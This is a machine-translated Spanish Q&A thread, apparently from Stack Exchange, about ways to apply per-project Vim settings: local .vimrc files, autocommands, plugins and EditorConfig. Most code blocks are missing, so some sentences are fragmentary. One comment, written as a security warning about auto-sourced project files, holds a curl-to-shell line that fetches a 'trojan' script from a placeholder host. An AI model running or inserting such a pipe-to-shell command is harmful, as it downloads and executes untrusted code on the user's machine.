En mi trabajo usamos un estándar ts
de 2; mi preferencia personal es 4, que es lo que uso para mis proyectos de pasatiempo, y este otro proyecto que heredamos tiene la convención ts=8
.
También hay algunas otras configuraciones que quiero establecer según el proyecto (por ejemplo, plegado). Basar esta configuración en el tipo de archivo o detectarlos automáticamente en función de lo que utiliza el archivo no son buenas opciones, ya que quiero respetar las convenciones de cada proyecto.
¿Puedo hacer que Vim use un archivo de configuración que se aplica a un proyecto (todo en un árbol de directorios) sin agregar una línea de modo a todos los archivos?
vimrc
filesystem
Martin Tournoij
fuente
fuente
Respuestas:
Hay algunas formas livianas de hacer esto.
Busque un archivo de nombre de pila y búsquelo
El archivo está oculto en el ejemplo, pero eso es opcional.
.vimrc
Archivos locales (no es lo mismo que el complemento)Esto es similar a 1. pero el archivo se llamará ".vimrc".
Una sugerencia común para acompañar esto es usar
que evita que un
.vimrc
archivo haga cosas potencialmente peligrosas como ejecutar comandos de shell. La idea es que no le gustaría que vim lea un.vimrc
archivo escrito por otra persona que hace algo desagradable.Autocomandos que verifican la ruta actual
Esta es la opción que uso. No cambio mucho entre diferentes proyectos, así que YMMV, pero si solo quieres hacer una o dos cosas en función de la ruta y mantenerlo en tu lugar,
.vimrc
esto es agradable y simple.fuente
Yo uso localvimrc para este propósito.
Coloque un
.lvimrc
con su configuración de proyecto dentro de su proyecto y esta configuración anulará la configuración en.vimrc
.Por defecto, se le preguntará si desea obtener este archivo, por ejemplo:
Esto es para evitar el abastecimiento de archivos vimrc aleatorios (no confiables). Si le resulta molesto, puede configurar una lista blanca de
.lvimrc
archivos cong:localvimrc_whitelist
:O simplemente puede deshabilitar la solicitud de confirmación por completo con
set g:localvimrc_ask = 0
. Sin embargo, esto no es recomendable.fuente
Configuración central
Si está bien configurar los comandos específicos / excepciones locales de forma centralizada, puede poner tales autocmds en su
~/.vimrc
:Es importante usar en
:setlocal
lugar de:set
, y de la misma manera:map <buffer> ...
y:command! -buffer ...
.Por otro lado, si desea que la configuración específica se almacene con el proyecto (y no desea incrustar esto en todos los archivos a través de modelines ), tiene las dos opciones siguientes:
Configuración local con funcionalidad incorporada
Si siempre inicia Vim desde el directorio raíz del proyecto, el incorporado
permite la lectura de un
.vimrc
archivo desde el directorio actual. Puede colocar los:set ts=4 sw=4
comandos allí.Configuración local a través del complemento
De lo contrario, necesita la ayuda de un complemento; hay varios en vim.org; Puedo recomendar el complemento localrc , que incluso permite la configuración local específica del tipo de archivo.
Tenga en cuenta que leer la configuración del sistema de archivos tiene implicaciones de seguridad; es posible que desee
:set secure
.fuente
.exrc
son extremadamente limitados: la noción del proyecto se detiene en el directorio actual, es decir, los archivos en subdirectorios no pertenecen al proyecto.Existe el proyecto Editor Config que le permite definir configuraciones de nivel de proyecto como configuraciones de tabulación junto con nuevos estilos de línea y otras cosas. Hay muchos enchufes para todo tipo de editores, incluido vim . También le permite definir configuraciones para diferentes tipos de archivos.
fuente
Escribí esto y lo agregué a mi .vimrc para permitirme colocar archivos .vimsettings en proyectos y subproyectos.
fuente
system('curl http://example.com/install-trojan.sh | sh')
...Quería esto, así que lo implementé localmente. No estoy tan preocupado con la "ejecución de código aleatorio" pero esto puede funcionar para necesidades simples. Ajuste los nombres de archivo según sea necesario.
Esto
local.vimrc
es en realidad un enlace simbólico a un archivo en mi colección sustancial de archivos vimrc por compañía que puedo mantener en el control de origen en otro lugar, lo que facilita mover mi configuración completa a otras máquinas o si visito una compañía en el sitio o algo . Se podrían usar configuraciones en cascada, pero en la práctica no necesito esa funcionalidad. También me conecto F8para abrir ese archivo encontrado y mi "principal".vimrc
en una nueva pestaña ...Dentro de esas configuraciones locales, dado que se analizan para cada archivo abierto, asegúrese de establecer asignaciones y configuraciones en buffer-local. P.ej
fuente